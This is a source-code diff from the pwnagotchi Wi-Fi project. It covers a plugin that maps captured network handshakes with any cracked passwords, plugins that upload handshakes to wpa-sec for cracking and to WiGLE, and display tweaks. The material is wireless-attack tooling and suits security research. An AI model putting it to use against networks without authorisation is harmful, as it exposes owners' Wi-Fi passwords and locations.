Returns ewquested data
|
||||
"""
|
||||
# defaults:
|
||||
response_header_contenttype = None
|
||||
response_mimetype = "application/xhtml+xml"
|
||||
if not self.ready:
|
||||
try:
|
||||
response_data = bytes('''<html>
|
||||
<head>
|
||||
<meta charset="utf-8"/>
|
||||
<style>body{font-size:1000%;}</style>
|
||||
</head>
|
||||
<body>Not ready yet</body>
|
||||
</html>''', "utf-8")
|
||||
response_status = 500
|
||||
response_mimetype = "application/xhtml+xml"
|
||||
response_header_contenttype = 'text/html'
|
||||
except Exception as ex:
|
||||
logging.error(ex)
|
||||
return
|
||||
else:
|
||||
if request.method == "GET":
|
||||
if path == '/' or not path:
|
||||
# returns the html template
|
||||
self.ALREADY_SENT = list()
|
||||
try:
|
||||
response_data = bytes(self.get_html(), "utf-8")
|
||||
except Exception as ex:
|
||||
logging.error(ex)
|
||||
return
|
||||
response_status = 200
|
||||
response_mimetype = "application/xhtml+xml"
|
||||
response_header_contenttype = 'text/html'
|
||||
elif path.startswith('all'):
|
||||
# returns all positions
|
||||
try:
|
||||
self.ALREADY_SENT = list()
|
||||
response_data = bytes(json.dumps(self.load_gps_from_dir(self.config['bettercap']['handshakes'])), "utf-8")
|
||||
response_status = 200
|
||||
response_mimetype = "application/json"
|
||||
response_header_contenttype = 'application/json'
|
||||
except Exception as ex:
|
||||
logging.error(ex)
|
||||
return
|
||||
# elif path.startswith('/newest'):
|
||||
# # returns all positions newer then timestamp
|
||||
# response_data = bytes(json.dumps(self.load_gps_from_dir(self.config['bettercap']['handshakes']), newest_only=True), "utf-8")
|
||||
# response_status = 200
|
||||
# response_mimetype = "application/json"
|
||||
# response_header_contenttype = 'application/json'
|
||||
else:
|
||||
# unknown GET path
|
||||
response_data = bytes('''<html>
|
||||
<head>
|
||||
<meta charset="utf-8"/>
|
||||
<style>body{font-size:1000%;}</style>
|
||||
</head>
|
||||
<body>4😋4</body>
|
||||
</html>''', "utf-8")
|
||||
response_status = 404
|
||||
else:
|
||||
# unknown request.method
|
||||
response_data = bytes('''<html>
|
||||
<head>
|
||||
<meta charset="utf-8"/>
|
||||
<style>body{font-size:1000%;}</style>
|
||||
</head>
|
||||
<body>4😋4</body>
|
||||
</html>''', "utf-8")
|
||||
response_status = 404
|
||||
try:
|
||||
r = Response(response=response_data, status=response_status, mimetype=response_mimetype)
|
||||
if response_header_contenttype is not None:
|
||||
r.headers["Content-Type"] = response_header_contenttype
|
||||
return r
|
||||
except Exception as ex:
|
||||
logging.error(ex)
|
||||
return
|
||||
|
||||
# cache 1024 items
|
||||
@lru_cache(maxsize=1024, typed=False)
|
||||
def _get_pos_from_file(self, path):
|
||||
return PositionFile(path)
|
||||
|
||||
|
||||
def load_gps_from_dir(self, gpsdir, newest_only=False):
|
||||
"""
|
||||
Parses the gps-data from disk
|
||||
"""
|
||||
|
||||
handshake_dir = gpsdir
|
||||
gps_data = dict()
|
||||
|
||||
logging.info("webgpsmap: scanning %s", handshake_dir)
|
||||
|
||||
|
||||
all_files = os.listdir(handshake_dir)
|
||||
#print(all_files)
|
||||
all_pcap_files = [os.path.join(handshake_dir, filename)
|
||||
for filename in all_files
|
||||
if filename.endswith('.pcap')
|
||||
]
|
||||
all_geo_or_gps_files = []
|
||||
for filename_pcap in all_pcap_files:
|
||||
filename_base = filename_pcap[:-5] # remove ".pcap"
|
||||
logging.debug("webgpsmap: found: " + filename_base)
|
||||
filename_position = None
|
||||
|
||||
check_for = os.path.basename(filename_base) + ".gps.json"
|
||||
if check_for in all_files:
|
||||
filename_position = str(os.path.join(handshake_dir, check_for))
|
||||
|
||||
check_for = os.path.basename(filename_base) + ".geo.json"
|
||||
if check_for in all_files:
|
||||
filename_position = str(os.path.join(handshake_dir, check_for))
|
||||
|
||||
if filename_position is not None:
|
||||
# logging.debug("webgpsmap: -- found: %s %d" % (check_for, len(all_geo_or_gps_files)) )
|
||||
all_geo_or_gps_files.append(filename_position)
|
||||
|
||||
# all_geo_or_gps_files = set(all_geo_or_gps_files) - set(SKIP) # remove skiped networks? No!
|
||||
|
||||
if newest_only:
|
||||
all_geo_or_gps_files = set(all_geo_or_gps_files) - set(self.ALREADY_SENT)
|
||||
|
||||
logging.info("webgpsmap: Found %d .(geo|gps).json files from %d handshakes. Fetching positions ...",
|
||||
len(all_geo_or_gps_files), len(all_pcap_files))
|
||||
|
||||
for pos_file in all_geo_or_gps_files:
|
||||
try:
|
||||
pos = self._get_pos_from_file(pos_file)
|
||||
if not pos.type() == PositionFile.GPS and not pos.type() == PositionFile.GEO:
|
||||
continue
|
||||
|
||||
ssid, mac = pos.ssid(), pos.mac()
|
||||
ssid = "unknown" if not ssid else ssid
|
||||
# invalid mac is strange and should abort; ssid is ok
|
||||
if not mac:
|
||||
raise ValueError("Mac can't be parsed from filename")
|
||||
gps_data[ssid+"_"+mac] = {
|
||||
'ssid': ssid,
|
||||
'mac': mac,
|
||||
'type': 'gps' if pos.type() == PositionFile.GPS else 'geo',
|
||||
'lng': pos.lng(),
|
||||
'lat': pos.lat(),
|
||||
'acc': pos.accuracy(),
|
||||
'ts_first': pos.timestamp_first(),
|
||||
'ts_last': pos.timestamp_last(),
|
||||
}
|
||||
|
||||
check_for = os.path.basename(pos_file[:-9]) + ".pcap.cracked"
|
||||
if check_for in all_files:
|
||||
gps_data[ssid + "_" + mac]["pass"] = pos.password()
|
||||
|
||||
self.ALREADY_SENT += pos_file
|
||||
except json.JSONDecodeError as js_e:
|
||||
self.SKIP += pos_file
|
||||
logging.error(js_e)
|
||||
continue
|
||||
except ValueError as v_e:
|
||||
self.SKIP += pos_file
|
||||
logging.error(v_e)
|
||||
continue
|
||||
except OSError as os_e:
|
||||
self.SKIP += pos_file
|
||||
logging.error(os_e)
|
||||
continue
|
||||
logging.info("webgpsmap loaded %d positions", len(gps_data))
|
||||
return gps_data
|
||||
|
||||
def get_html(self):
|
||||
"""
|
||||
Returns the html page
|
||||
"""
|
||||
try:
|
||||
template_file = os.path.dirname(os.path.realpath(__file__))+"/"+"webgpsmap.html"
|
||||
html_data = open(template_file, "r").read()
|
||||
except Exception as ex:
|
||||
logging.error("error loading template file: %s", template_file)
|
||||
logging.error(ex)
|
||||
return html_data
|
||||
|
||||
|
||||
class PositionFile:
|
||||
"""
|
||||
Wraps gps / net-pos files
|
||||
"""
|
||||
GPS = 0
|
||||
GEO = 1
|
||||
|
||||
def __init__(self, path):
|
||||
self._file = path
|
||||
self._filename = os.path.basename(path)
|
||||
try:
|
||||
with open(path, 'r') as json_file:
|
||||
self._json = json.load(json_file)
|
||||
except json.JSONDecodeError as js_e:
|
||||
raise js_e
|
||||
|
||||
def mac(self):
|
||||
"""
|
||||
Returns the mac from filename
|
||||
"""
|
||||
parsed_mac = re.search(r'.*_?([a-zA-Z0-9]{12})\.(?:gps|geo)\.json', self._filename)
|
||||
if parsed_mac:
|
||||
mac = parsed_mac.groups()[0]
|
||||
return mac
|
||||
return None
|
||||
|
||||
def ssid(self):
|
||||
"""
|
||||
Returns the ssid from filename
|
||||
"""
|
||||
parsed_ssid = re.search(r'(.+)_[a-zA-Z0-9]{12}\.(?:gps|geo)\.json', self._filename)
|
||||
if parsed_ssid:
|
||||
return parsed_ssid.groups()[0]
|
||||
return None
|
||||
|
||||
|
||||
def json(self):
|
||||
"""
|
||||
returns the parsed json
|
||||
"""
|
||||
return self._json
|
||||
|
||||
def timestamp_first(self):
|
||||
"""
|
||||
returns the timestamp of AP first seen
|
||||
"""
|
||||
# use file timestamp creation time of the pcap file
|
||||
return int("%.0f" % os.path.getctime(self._file))
|
||||
|
||||
def timestamp_last(self):
|
||||
"""
|
||||
returns the timestamp of AP last seen
|
||||
"""
|
||||
return_ts = None
|
||||
if 'ts' in self._json:
|
||||
return_ts = self._json['ts']
|
||||
elif 'Updated' in self._json:
|
||||
# convert gps datetime to unix timestamp: "2019-10-05T23:12:40.422996+01:00"
|
||||
date_iso_formated = self._json['Updated']
|
||||
# fill milliseconds to 6 numbers
|
||||
part1, part2, part3 = re.split('\.|\+', date_iso_formated)
|
||||
part2 = part2.ljust(6, '0')
|
||||
date_iso_formated = part1 + "." + part2 + "+" + part3
|
||||
dateObj = datetime.datetime.fromisoformat(date_iso_formated)
|
||||
return_ts = int("%.0f" % dateObj.timestamp())
|
||||
else:
|
||||
# use file timestamp last modification of the pcap file
|
||||
return_ts = int("%.0f" % os.path.getmtime(self._file))
|
||||
return return_ts
|
||||
|
||||
def password(self):
|
||||
"""
|
||||
returns the password from file.pcap.cracked od None
|
||||
"""
|
||||
return_pass = None
|
||||
password_file_path = self._file[:-9] + ".pcap.cracked"
|
||||
if os.path.isfile(password_file_path):
|
||||
try:
|
||||
password_file = open(password_file_path, 'r')
|
||||
return_pass = password_file.read()
|
||||
password_file.close()
|
||||
except OSError as err:
|
||||
print("OS error: {0}".format(err))
|
||||
except:
|
||||
print("Unexpected error:", sys.exc_info()[0])
|
||||
raise
|
||||
return return_pass
|
||||
|
||||
def type(self):
|
||||
"""
|
||||
returns the type of the file
|
||||
"""
|
||||
if self._file.endswith('.gps.json'):
|
||||
return PositionFile.GPS
|
||||
if self._file.endswith('.geo.json'):
|
||||
return PositionFile.GEO
|
||||
return None
|
||||
|
||||
def lat(self):
|
||||
try:
|
||||
if self.type() == PositionFile.GPS:
|
||||
lat = self._json['Latitude']
|
||||
if self.type() == PositionFile.GEO:
|
||||
lat = self._json['location']['lat']
|
||||
if lat != 0:
|
||||
return lat
|
||||
raise ValueError("Lat is 0")
|
||||
except KeyError:
|
||||
pass
|
||||
return None
|
||||
|
||||
def lng(self):
|
||||
try:
|
||||
if self.type() == PositionFile.GPS:
|
||||
lng = self._json['Longitude']
|
||||
if self.type() == PositionFile.GEO:
|
||||
lng = self._json['location']['lng']
|
||||
if lng != 0:
|
||||
return lng
|
||||
raise ValueError("Lng is 0")
|
||||
except KeyError:
|
||||
pass
|
||||
return None
|
||||
|
||||
def accuracy(self):
|
||||
if self.type() == PositionFile.GPS:
|
||||
return 50.0
|
||||
if self.type() == PositionFile.GEO:
|
||||
try:
|
||||
return self._json['accuracy']
|
||||
except KeyError:
|
||||
pass
|
||||
return None
|
@@ -1,9 +1,3 @@
|
||||
__author__ = '33197631+dadav@users.noreply.github.com'
|
||||
__version__ = '2.0.0'
|
||||
__name__ = 'wigle'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'This plugin automatically uploads collected wifis to wigle.net'
|
||||
|
||||
import os
|
||||
import logging
|
||||
import json
|
||||
@@ -12,24 +6,7 @@ import csv
|
||||
from datetime import datetime
|
||||
import requests
|
||||
from pwnagotchi.utils import WifiInfo, FieldNotFoundError, extract_from_pcap, StatusFile
|
||||
|
||||
READY = False
|
||||
REPORT = StatusFile('/root/.wigle_uploads', data_format='json')
|
||||
SKIP = list()
|
||||
OPTIONS = dict()
|
||||
|
||||
|
||||
def on_loaded():
|
||||
"""
|
||||
Gets called when the plugin gets loaded
|
||||
"""
|
||||
global READY
|
||||
|
||||
if 'api_key' not in OPTIONS or ('api_key' in OPTIONS and OPTIONS['api_key'] is None):
|
||||
logging.error("WIGLE: api_key isn't set. Can't upload to wigle.net")
|
||||
return
|
||||
|
||||
READY = True
|
||||
import pwnagotchi.plugins as plugins
|
||||
|
||||
|
||||
def _extract_gps_data(path):
|
||||
@@ -54,14 +31,17 @@ def _format_auth(data):
|
||||
out = f"{out}[{auth}]"
|
||||
return out
|
||||
|
||||
|
||||
def _transform_wigle_entry(gps_data, pcap_data):
|
||||
"""
|
||||
Transform to wigle entry in file
|
||||
"""
|
||||
dummy = StringIO()
|
||||
# write kismet header
|
||||
dummy.write("WigleWifi-1.4,appRelease=20190201,model=Kismet,release=2019.02.01.{},device=kismet,display=kismet,board=kismet,brand=kismet\n")
|
||||
dummy.write("MAC,SSID,AuthMode,FirstSeen,Channel,RSSI,CurrentLatitude,CurrentLongitude,AltitudeMeters,AccuracyMeters,Type")
|
||||
dummy.write(
|
||||
"WigleWifi-1.4,appRelease=20190201,model=Kismet,release=2019.02.01.{},device=kismet,display=kismet,board=kismet,brand=kismet\n")
|
||||
dummy.write(
|
||||
"MAC,SSID,AuthMode,FirstSeen,Channel,RSSI,CurrentLatitude,CurrentLongitude,AltitudeMeters,AccuracyMeters,Type")
|
||||
|
||||
writer = csv.writer(dummy, delimiter=",", quoting=csv.QUOTE_NONE, escapechar="\\")
|
||||
writer.writerow([
|
||||
@@ -75,10 +55,11 @@ def _transform_wigle_entry(gps_data, pcap_data):
|
||||
gps_data['Latitude'],
|
||||
gps_data['Longitude'],
|
||||
gps_data['Altitude'],
|
||||
0, # accuracy?
|
||||
0, # accuracy?
|
||||
'WIFI'])
|
||||
return dummy.getvalue()
|
||||
|
||||
|
||||
def _send_to_wigle(lines, api_key, timeout=30):
|
||||
"""
|
||||
Uploads the file to wigle-net
|
||||
@@ -109,87 +90,100 @@ def _send_to_wigle(lines, api_key, timeout=30):
|
||||
raise re_e
|
||||
|
||||
|
||||
def on_internet_available(agent):
|
||||
from scapy.all import Scapy_Exception
|
||||
"""
|
||||
Called in manual mode when there's internet connectivity
|
||||
"""
|
||||
global REPORT
|
||||
global SKIP
|
||||
class Wigle(plugins.Plugin):
|
||||
__author__ = '33197631+dadav@users.noreply.github.com'
|
||||
__version__ = '2.0.0'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'This plugin automatically uploads collected wifis to wigle.net'
|
||||
|
||||
if READY:
|
||||
config = agent.config()
|
||||
display = agent.view()
|
||||
reported = REPORT.data_field_or('reported', default=list())
|
||||
def __init__(self):
|
||||
self.ready = False
|
||||
self.report = StatusFile('/root/.wigle_uploads', data_format='json')
|
||||
self.skip = list()
|
||||
|
||||
handshake_dir = config['bettercap']['handshakes']
|
||||
all_files = os.listdir(handshake_dir)
|
||||
all_gps_files = [os.path.join(handshake_dir, filename)
|
||||
for filename in all_files
|
||||
if filename.endswith('.gps.json')]
|
||||
new_gps_files = set(all_gps_files) - set(reported) - set(SKIP)
|
||||
def on_loaded(self):
|
||||
if 'api_key' not in self.options or ('api_key' in self.options and self.options['api_key'] is None):
|
||||
logging.error("WIGLE: api_key isn't set. Can't upload to wigle.net")
|
||||
return
|
||||
self.ready = True
|
||||
|
||||
if new_gps_files:
|
||||
logging.info("WIGLE: Internet connectivity detected. Uploading new handshakes to wigle.net")
|
||||
def on_internet_available(self, agent):
|
||||
from scapy.all import Scapy_Exception
|
||||
"""
|
||||
Called in manual mode when there's internet connectivity
|
||||
"""
|
||||
if self.ready:
|
||||
config = agent.config()
|
||||
display = agent.view()
|
||||
reported = self.report.data_field_or('reported', default=list())
|
||||
|
||||
csv_entries = list()
|
||||
no_err_entries = list()
|
||||
handshake_dir = config['bettercap']['handshakes']
|
||||
all_files = os.listdir(handshake_dir)
|
||||
all_gps_files = [os.path.join(handshake_dir, filename)
|
||||
for filename in all_files
|
||||
if filename.endswith('.gps.json')]
|
||||
new_gps_files = set(all_gps_files) - set(reported) - set(self.skip)
|
||||
|
||||
for gps_file in new_gps_files:
|
||||
pcap_filename = gps_file.replace('.gps.json', '.pcap')
|
||||
if new_gps_files:
|
||||
logging.info("WIGLE: Internet connectivity detected. Uploading new handshakes to wigle.net")
|
||||
|
||||
if not os.path.exists(pcap_filename):
|
||||
logging.error("WIGLE: Can't find pcap for %s", gps_file)
|
||||
SKIP.append(gps_file)
|
||||
continue
|
||||
csv_entries = list()
|
||||
no_err_entries = list()
|
||||
|
||||
try:
|
||||
gps_data = _extract_gps_data(gps_file)
|
||||
except OSError as os_err:
|
||||
logging.error("WIGLE: %s", os_err)
|
||||
SKIP.append(gps_file)
|
||||
continue
|
||||
except json.JSONDecodeError as json_err:
|
||||
logging.error("WIGLE: %s", json_err)
|
||||
SKIP.append(gps_file)
|
||||
continue
|
||||
for gps_file in new_gps_files:
|
||||
pcap_filename = gps_file.replace('.gps.json', '.pcap')
|
||||
|
||||
if gps_data['Latitude'] == 0 and gps_data['Longitude'] == 0:
|
||||
logging.warning("WIGLE: Not enough gps-information for %s. Trying again next time.", gps_file)
|
||||
SKIP.append(gps_file)
|
||||
continue
|
||||
if not os.path.exists(pcap_filename):
|
||||
logging.error("WIGLE: Can't find pcap for %s", gps_file)
|
||||
self.skip.append(gps_file)
|
||||
continue
|
||||
|
||||
try:
|
||||
gps_data = _extract_gps_data(gps_file)
|
||||
except OSError as os_err:
|
||||
logging.error("WIGLE: %s", os_err)
|
||||
self.skip.append(gps_file)
|
||||
continue
|
||||
except json.JSONDecodeError as json_err:
|
||||
logging.error("WIGLE: %s", json_err)
|
||||
self.skip.append(gps_file)
|
||||
continue
|
||||
|
||||
try:
|
||||
pcap_data = extract_from_pcap(pcap_filename, [WifiInfo.BSSID,
|
||||
WifiInfo.ESSID,
|
||||
WifiInfo.ENCRYPTION,
|
||||
WifiInfo.CHANNEL,
|
||||
WifiInfo.RSSI])
|
||||
except FieldNotFoundError:
|
||||
logging.error("WIGLE: Could not extract all information. Skip %s", gps_file)
|
||||
SKIP.append(gps_file)
|
||||
continue
|
||||
except Scapy_Exception as sc_e:
|
||||
logging.error("WIGLE: %s", sc_e)
|
||||
SKIP.append(gps_file)
|
||||
continue
|
||||
if gps_data['Latitude'] == 0 and gps_data['Longitude'] == 0:
|
||||
logging.warning("WIGLE: Not enough gps-information for %s. Trying again next time.", gps_file)
|
||||
self.skip.append(gps_file)
|
||||
continue
|
||||
|
||||
new_entry = _transform_wigle_entry(gps_data, pcap_data)
|
||||
csv_entries.append(new_entry)
|
||||
no_err_entries.append(gps_file)
|
||||
try:
|
||||
pcap_data = extract_from_pcap(pcap_filename, [WifiInfo.BSSID,
|
||||
WifiInfo.ESSID,
|
||||
WifiInfo.ENCRYPTION,
|
||||
WifiInfo.CHANNEL,
|
||||
WifiInfo.RSSI])
|
||||
except FieldNotFoundError:
|
||||
logging.error("WIGLE: Could not extract all information. Skip %s", gps_file)
|
||||
self.skip.append(gps_file)
|
||||
continue
|
||||
except Scapy_Exception as sc_e:
|
||||
logging.error("WIGLE: %s", sc_e)
|
||||
self.skip.append(gps_file)
|
||||
continue
|
||||
|
||||
if csv_entries:
|
||||
display.set('status', "Uploading gps-data to wigle.net ...")
|
||||
display.update(force=True)
|
||||
try:
|
||||
_send_to_wigle(csv_entries, OPTIONS['api_key'])
|
||||
reported += no_err_entries
|
||||
REPORT.update(data={'reported': reported})
|
||||
logging.info("WIGLE: Successfully uploaded %d files", len(no_err_entries))
|
||||
except requests.exceptions.RequestException as re_e:
|
||||
SKIP += no_err_entries
|
||||
logging.error("WIGLE: Got an exception while uploading %s", re_e)
|
||||
except OSError as os_e:
|
||||
SKIP += no_err_entries
|
||||
logging.error("WIGLE: Got the following error: %s", os_e)
|
||||
new_entry = _transform_wigle_entry(gps_data, pcap_data)
|
||||
csv_entries.append(new_entry)
|
||||
no_err_entries.append(gps_file)
|
||||
|
||||
if csv_entries:
|
||||
display.set('status', "Uploading gps-data to wigle.net ...")
|
||||
display.update(force=True)
|
||||
try:
|
||||
_send_to_wigle(csv_entries, self.options['api_key'])
|
||||
reported += no_err_entries
|
||||
self.report.update(data={'reported': reported})
|
||||
logging.info("WIGLE: Successfully uploaded %d files", len(no_err_entries))
|
||||
except requests.exceptions.RequestException as re_e:
|
||||
self.skip += no_err_entries
|
||||
logging.error("WIGLE: Got an exception while uploading %s", re_e)
|
||||
except OSError as os_e:
|
||||
self.skip += no_err_entries
|
||||
logging.error("WIGLE: Got the following error: %s", os_e)
|
||||
|
@@ -1,87 +1,84 @@
|
||||
__author__ = '33197631+dadav@users.noreply.github.com'
|
||||
__version__ = '2.0.1'
|
||||
__name__ = 'wpa-sec'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'This plugin automatically uploads handshakes to https://wpa-sec.stanev.org'
|
||||
|
||||
import os
|
||||
import logging
|
||||
import requests
|
||||
from pwnagotchi.utils import StatusFile
|
||||
|
||||
READY = False
|
||||
REPORT = StatusFile('/root/.wpa_sec_uploads', data_format='json')
|
||||
OPTIONS = dict()
|
||||
SKIP = list()
|
||||
import pwnagotchi.plugins as plugins
|
||||
|
||||
|
||||
def on_loaded():
|
||||
"""
|
||||
Gets called when the plugin gets loaded
|
||||
"""
|
||||
global READY
|
||||
class WpaSec(plugins.Plugin):
|
||||
__author__ = '33197631+dadav@users.noreply.github.com'
|
||||
__version__ = '2.0.1'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'This plugin automatically uploads handshakes to https://wpa-sec.stanev.org'
|
||||
|
||||
if 'api_key' not in OPTIONS or ('api_key' in OPTIONS and OPTIONS['api_key'] is None):
|
||||
logging.error("WPA_SEC: API-KEY isn't set. Can't upload to wpa-sec.stanev.org")
|
||||
return
|
||||
def __init__(self):
|
||||
self.ready = False
|
||||
self.report = StatusFile('/root/.wpa_sec_uploads', data_format='json')
|
||||
self.options = dict()
|
||||
self.skip = list()
|
||||
|
||||
if 'api_url' not in OPTIONS or ('api_url' in OPTIONS and OPTIONS['api_url'] is None):
|
||||
logging.error("WPA_SEC: API-URL isn't set. Can't upload, no endpoint configured.")
|
||||
return
|
||||
|
||||
READY = True
|
||||
def _upload_to_wpasec(self, path, timeout=30):
|
||||
"""
|
||||
Uploads the file to https://wpa-sec.stanev.org, or another endpoint.
|
||||
"""
|
||||
with open(path, 'rb') as file_to_upload:
|
||||
cookie = {'key': self.options['api_key']}
|
||||
payload = {'file': file_to_upload}
|
||||
|
||||
try:
|
||||
result = requests.post(self.options['api_url'],
|
||||
cookies=cookie,
|
||||
files=payload,
|
||||
timeout=timeout)
|
||||
if ' already submitted' in result.text:
|
||||
logging.warning("%s was already submitted.", path)
|
||||
except requests.exceptions.RequestException as req_e:
|
||||
raise req_e
|
||||
|
||||
def _upload_to_wpasec(path, timeout=30):
|
||||
"""
|
||||
Uploads the file to https://wpa-sec.stanev.org, or another endpoint.
|
||||
"""
|
||||
with open(path, 'rb') as file_to_upload:
|
||||
cookie = {'key': OPTIONS['api_key']}
|
||||
payload = {'file': file_to_upload}
|
||||
def on_loaded(self):
|
||||
"""
|
||||
Gets called when the plugin gets loaded
|
||||
"""
|
||||
if 'api_key' not in self.options or ('api_key' in self.options and self.options['api_key'] is None):
|
||||
logging.error("WPA_SEC: API-KEY isn't set. Can't upload to wpa-sec.stanev.org")
|
||||
return
|
||||
|
||||
try:
|
||||
result = requests.post(OPTIONS['api_url'],
|
||||
cookies=cookie,
|
||||
files=payload,
|
||||
timeout=timeout)
|
||||
if ' already submitted' in result.text:
|
||||
logging.warning("%s was already submitted.", path)
|
||||
except requests.exceptions.RequestException as req_e:
|
||||
raise req_e
|
||||
if 'api_url' not in self.options or ('api_url' in self.options and self.options['api_url'] is None):
|
||||
logging.error("WPA_SEC: API-URL isn't set. Can't upload, no endpoint configured.")
|
||||
return
|
||||
|
||||
self.ready = True
|
||||
|
||||
def on_internet_available(agent):
|
||||
"""
|
||||
Called in manual mode when there's internet connectivity
|
||||
"""
|
||||
global REPORT
|
||||
global SKIP
|
||||
if READY:
|
||||
config = agent.config()
|
||||
display = agent.view()
|
||||
reported = REPORT.data_field_or('reported', default=list())
|
||||
def on_internet_available(self, agent):
|
||||
"""
|
||||
Called in manual mode when there's internet connectivity
|
||||
"""
|
||||
if self.ready:
|
||||
config = agent.config()
|
||||
display = agent.view()
|
||||
reported = self.report.data_field_or('reported', default=list())
|
||||
|
||||
handshake_dir = config['bettercap']['handshakes']
|
||||
handshake_filenames = os.listdir(handshake_dir)
|
||||
handshake_paths = [os.path.join(handshake_dir, filename) for filename in handshake_filenames if filename.endswith('.pcap')]
|
||||
handshake_new = set(handshake_paths) - set(reported) - set(SKIP)
|
||||
handshake_dir = config['bettercap']['handshakes']
|
||||
handshake_filenames = os.listdir(handshake_dir)
|
||||
handshake_paths = [os.path.join(handshake_dir, filename) for filename in handshake_filenames if
|
||||
filename.endswith('.pcap')]
|
||||
handshake_new = set(handshake_paths) - set(reported) - set(self.skip)
|
||||
|
||||
if handshake_new:
|
||||
logging.info("WPA_SEC: Internet connectivity detected. Uploading new handshakes to wpa-sec.stanev.org")
|
||||
if handshake_new:
|
||||
logging.info("WPA_SEC: Internet connectivity detected. Uploading new handshakes to wpa-sec.stanev.org")
|
||||
|
||||
for idx, handshake in enumerate(handshake_new):
|
||||
display.set('status', f"Uploading handshake to wpa-sec.stanev.org ({idx + 1}/{len(handshake_new)})")
|
||||
display.update(force=True)
|
||||
try:
|
||||
_upload_to_wpasec(handshake)
|
||||
reported.append(handshake)
|
||||
REPORT.update(data={'reported': reported})
|
||||
logging.info("WPA_SEC: Successfully uploaded %s", handshake)
|
||||
except requests.exceptions.RequestException as req_e:
|
||||
SKIP.append(handshake)
|
||||
logging.error("WPA_SEC: %s", req_e)
|
||||
continue
|
||||
except OSError as os_e:
|
||||
logging.error("WPA_SEC: %s", os_e)
|
||||
continue
|
||||
for idx, handshake in enumerate(handshake_new):
|
||||
display.set('status', f"Uploading handshake to wpa-sec.stanev.org ({idx + 1}/{len(handshake_new)})")
|
||||
display.update(force=True)
|
||||
try:
|
||||
self._upload_to_wpasec(handshake)
|
||||
reported.append(handshake)
|
||||
self.report.update(data={'reported': reported})
|
||||
logging.info("WPA_SEC: Successfully uploaded %s", handshake)
|
||||
except requests.exceptions.RequestException as req_e:
|
||||
self.skip.append(handshake)
|
||||
logging.error("WPA_SEC: %s", req_e)
|
||||
continue
|
||||
except OSError as os_e:
|
||||
logging.error("WPA_SEC: %s", os_e)
|
||||
continue
|
||||
|
@@ -58,12 +58,13 @@ class Text(Widget):
|
||||
|
||||
|
||||
class LabeledValue(Widget):
|
||||
def __init__(self, label, value="", position=(0, 0), label_font=None, text_font=None, color=0):
|
||||
def __init__(self, label, value="", position=(0, 0), label_font=None, text_font=None, color=0, label_spacing=5):
|
||||
super().__init__(position, color)
|
||||
self.label = label
|
||||
self.value = value
|
||||
self.label_font = label_font
|
||||
self.text_font = text_font
|
||||
self.label_spacing = label_spacing
|
||||
|
||||
def draw(self, canvas, drawer):
|
||||
if self.label is None:
|
||||
@@ -71,4 +72,4 @@ class LabeledValue(Widget):
|
||||
else:
|
||||
pos = self.xy
|
||||
drawer.text(pos, self.label, font=self.label_font, fill=self.color)
|
||||
drawer.text((pos[0] + 5 + 5 * len(self.label), pos[1]), self.value, font=self.text_font, fill=self.color)
|
||||
drawer.text((pos[0] + self.label_spacing + 5 * len(self.label), pos[1]), self.value, font=self.text_font, fill=self.color)
|
||||
|
@@ -4,7 +4,6 @@ import threading
|
||||
|
||||
import pwnagotchi.plugins as plugins
|
||||
import pwnagotchi.ui.hw as hw
|
||||
import pwnagotchi.ui.web as web
|
||||
from pwnagotchi.ui.view import View
|
||||
|
||||
|
||||
@@ -15,7 +14,6 @@ class Display(View):
|
||||
|
||||
self._enabled = config['enabled']
|
||||
self._rotation = config['rotation']
|
||||
self._webui = web.Server(config)
|
||||
|
||||
self.init_display()
|
||||
|
||||
@@ -42,6 +40,9 @@ class Display(View):
|
||||
def is_waveshare27inch(self):
|
||||
return self._implementation.name == 'waveshare27inch'
|
||||
|
||||
def is_waveshare29inch(self):
|
||||
return self._implementation.name == 'waveshare29inch'
|
||||
|
||||
def is_oledhat(self):
|
||||
return self._implementation.name == 'oledhat'
|
||||
|
||||
@@ -57,6 +58,9 @@ class Display(View):
|
||||
def is_waveshare213d(self):
|
||||
return self._implementation.name == 'waveshare213d'
|
||||
|
||||
def is_spotpear24inch(self):
|
||||
return self._implementation.name == 'spotpear24inch'
|
||||
|
||||
def is_waveshare_any(self):
|
||||
return self.is_waveshare_v1() or self.is_waveshare_v2()
|
||||
|
||||
@@ -86,10 +90,9 @@ class Display(View):
|
||||
self._implementation.render(self._canvas_next)
|
||||
|
||||
def _on_view_rendered(self, img):
|
||||
web.update_frame(img)
|
||||
try:
|
||||
if self._config['ui']['display']['video']['on_frame'] != '':
|
||||
os.system(self._config['ui']['display']['video']['on_frame'])
|
||||
if self._config['ui']['web']['on_frame'] != '':
|
||||
os.system(self._config['ui']['web']['on_frame'])
|
||||
except Exception as e:
|
||||
logging.error("%s" % e)
|
||||
|
||||
|
@@ -16,6 +16,7 @@ DEMOTIVATED = '(≖__≖)'
|
||||
SMART = '(✜‿‿✜)'
|
||||
LONELY = '(ب__ب)'
|
||||
SAD = '(╥☁╥ )'
|
||||
ANGRY = "(-_-')"
|
||||
FRIEND = '(♥‿‿♥)'
|
||||
BROKEN = '(☓‿‿☓)'
|
||||
DEBUG = '(#__#)'
|
||||
|
@@ -6,9 +6,10 @@ from pwnagotchi.ui.hw.dfrobot import DFRobot
|
||||
from pwnagotchi.ui.hw.waveshare1 import WaveshareV1
|
||||
from pwnagotchi.ui.hw.waveshare2 import WaveshareV2
|
||||
from pwnagotchi.ui.hw.waveshare27inch import Waveshare27inch
|
||||
from pwnagotchi.ui.hw.waveshare29inch import Waveshare29inch
|
||||
from pwnagotchi.ui.hw.waveshare154inch import Waveshare154inch
|
||||
from pwnagotchi.ui.hw.waveshare213d import Waveshare213d
|
||||
|
||||
from pwnagotchi.ui.hw.spotpear24inch import Spotpear24inch
|
||||
|
||||
def display_for(config):
|
||||
# config has been normalized already in utils.load_config
|
||||
@@ -35,9 +36,15 @@ def display_for(config):
|
||||
|
||||
elif config['ui']['display']['type'] == 'waveshare27inch':
|
||||
return Waveshare27inch(config)
|
||||
|
||||
|
||||
elif config['ui']['display']['type'] == 'waveshare29inch':
|
||||
return Waveshare29inch(config)
|
||||
|
||||
elif config['ui']['display']['type'] == 'waveshare154inch':
|
||||
return Waveshare154inch(config)
|
||||
|
||||
elif config['ui']['display']['type'] == 'waveshare213d':
|
||||
return Waveshare213d(config)
|
||||
return Waveshare213d(config)
|
||||
|
||||
elif config['ui']['display']['type'] == 'spotpear24inch':
|
||||
